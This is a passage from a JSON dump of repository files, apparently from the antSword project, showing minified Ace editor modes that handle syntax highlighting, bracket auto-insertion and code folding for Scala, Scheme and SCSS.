ception|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object|Unit|Any|AnyVal|AnyRef|Null|ScalaObject|Singleton|Seq|Iterable|List|Option|Array|Char|Byte|Short|Int|Long|Nothing\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"support.function\":n,\"constant.language\":t},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'\"\"\"',next:\"tstring\"},{token:\"string\",regex:'\"(?=.)',next:\"string\"},{token:\"symbol.constant\",regex:\"'[\\\\w\\\\d_]+\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],string:[{token:\"escape\",regex:'\\\\\\\\\"'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string.invalid\",regex:'[^\"\\\\\\\\]*$',next:\"start\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'}],tstring:[{token:\"string\",regex:'\"{3,5}',next:\"start\"},{token:\"string\",regex:\".+?\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.ScalaHighlightRules=o}),ace.define(\"ace/mode/scala\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/scala_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./scala_highlight_rules\").ScalaHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/scala\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-scheme.js",
    "content": "ace.define(\"ace/mode/scheme_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"case|do|let|loop|if|else|when\",t=\"eq?|eqv?|equal?|and|or|not|null?\",n=\"#t|#f\",r=\"cons|car|cdr|cond|lambda|lambda*|syntax-rules|format|set!|quote|eval|append|list|list?|member?|load\",i=this.createKeywordMapper({\"keyword.control\":e,\"keyword.operator\":t,\"constant.language\":n,\"support.function\":r},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\";.*$\"},{token:[\"storage.type.function-type.scheme\",\"text\",\"entity.name.function.scheme\"],regex:\"(?:\\\\b(?:(define|define-syntax|define-macro))\\\\b)(\\\\s+)((?:\\\\w|\\\\-|\\\\!|\\\\?)*)\"},{token:\"punctuation.definition.constant.character.scheme\",regex:\"#:\\\\S+\"},{token:[\"punctuation.definition.variable.scheme\",\"variable.other.global.scheme\",\"punctuation.definition.variable.scheme\"],regex:\"(\\\\*)(\\\\S*)(\\\\*)\"},{token:\"constant.numeric\",regex:\"#[xXoObB][0-9a-fA-F]+\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\"},{token:i,regex:\"[a-zA-Z_#][a-zA-Z0-9_\\\\-\\\\?\\\\!\\\\*]*\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"}],qqstring:[{token:\"constant.character.escape.scheme\",regex:\"\\\\\\\\.\"},{token:\"string\",regex:'[^\"\\\\\\\\]+',merge:!0},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\",merge:!0},{token:\"string\",regex:'\"|$',next:\"start\",merge:!0}]}};r.inherits(s,i),t.SchemeHighlightRules=s}),ace.define(\"ace/mode/matching_parens_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\)/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\))/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){var t=e.match(/^(\\s+)/);return t?t[1]:\"\"}}).call(i.prototype),t.MatchingParensOutdent=i}),ace.define(\"ace/mode/scheme\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/scheme_highlight_rules\",\"ace/mode/matching_parens_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./scheme_highlight_rules\").SchemeHighlightRules,o=e(\"./matching_parens_outdent\").MatchingParensOutdent,u=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.minorIndentFunctions=[\"define\",\"lambda\",\"define-macro\",\"define-syntax\",\"syntax-rules\",\"define-record-type\",\"define-structure\"],this.$toIndent=function(e){return e.split(\"\").map(function(e){return/\\s/.exec(e)?e:\" \"}).join(\"\")},this.$calculateIndent=function(e,t){var n=this.$getIndent(e),r=0,i,s;for(var o=e.length-1;o>=0;o--){s=e[o],s===\"(\"?(r--,i=!0):s===\"(\"||s===\"[\"||s===\"{\"?(r--,i=!1):(s===\")\"||s===\"]\"||s===\"}\")&&r++;if(r<0)break}if(!(r<0&&i))return r<0&&!i?this.$toIndent(e.substring(0,o+1)):r>0?(n=n.substring(0,n.length-t.length),n):n;o+=1;var u=o,a=\"\";for(;;){s=e[o];if(s===\" \"||s===\"\t\")return this.minorIndentFunctions.indexOf(a)!==-1?this.$toIndent(e.substring(0,u-1)+t):this.$toIndent(e.substring(0,o+1));if(s===undefined)return this.$toIndent(e.substring(0,u-1)+t);a+=e[o],o++}},this.getNextLineIndent=function(e,t,n){return this.$calculateIndent(t,n)},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/scheme\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-scss.js",
    "content": "ace.define(\"ace/mode/scss_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|abs|adjust_color|adjust_hue|alpha|join|blue|ceil|change_color|comparable|complement|darken|desaturate|floor|grayscale|green|hue|if|invert|join|length|lighten|lightness|mix|nth|opacify|opacity|percentage|quote|red|round|saturate|saturation|scale_color|transparentize|type_of|unit|unitless|unqoute\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable\",regex:\"[a-z_\\\\-$][a-z0-9_\\\\-$]*\\\\b\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(o,s),t.ScssHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/scss\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/scss_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./scss_highlight_rules\").ScssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/css\").CssBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return 